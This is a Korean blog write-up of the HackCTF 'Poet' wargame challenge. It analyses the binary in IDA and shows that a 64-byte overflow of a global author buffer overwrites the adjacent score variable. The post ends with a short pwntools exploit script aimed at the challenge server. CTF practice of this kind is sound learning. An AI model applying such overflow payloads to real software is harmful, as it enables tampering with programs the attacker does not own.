본문 바로가기
Wargame/HackCTF

Poet

by Anatis 2021. 3. 19.

 

1. Mitigation

Partial RELRO와 NX enabled인거 말고는 특별한 것은 없다.

 

2. 문제 확인

프로그램을 실행시키면 한 줄의 시를 쓰라고 입력을 받고 저자를 묻는다. 입력하고 난 후 시의 내용과 점수를 출력하고 1000000점을 획득하라고 한다. IDA로 분석 해보자.

 

main 함수 영역을 보면 get_poem, get_author, rate_poem 그리고 puts와 reward 함수가 있다. get_poem 함수부터 차례로 하나씩 보자.

 

먼저 get_poem 함수는 시의 내용을 입력받는 부분이다. 내용을 입력바고 dword_6024E0 부분을 0으로 초기화 시키고 입력 값을 리턴한다. 

 

get_author 함수는 저자를 입력을 받고 리턴한다.

 

rate_poem 영역은 get_poem 함수에서 입력받은 내용을 dest에 복사하고 dest는 " \n"기준으로 자르고 s1에 넣어준다.

 

s1이 ESPR || eat || sleep || pwn || repeat || CTF || capture || flag 문자열과 하나라도 일치한다면 dword_6024E0에 100 씩 더해준다. 그리고 루프가 다돌면 printf 함수로 출력해주고 리턴한다. reward() 함수는 플래그를 출력해주는 부분이다.

 

get_author 에서 입력을 받는 unk_6024A0은 전역 변수이고 dword_6024E0도 전역 변수이다. 그렇다면 두 전역 변수의 거리만큼 입력해주고 dword_6024E0을 1000000으로 덮어주면 플래그 값을 얻을 수 있을 것 이다.

 

exploit

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3012)
e = ELF('./poet')

payload = 'A'*64
payload += p64(1000000)

p.sendlineafter('>', 'AAA')
p.sendlineafter('>', payload)

p.interactive()

'Wargame > HackCTF' 카테고리의 다른 글

Random Key  (0) 2021.03.21
Strncmp  (0) 2021.03.19
RTL_Core  (0) 2021.03.19
Handray  (0) 2021.03.18
Reversing Me  (0) 2021.03.18

댓글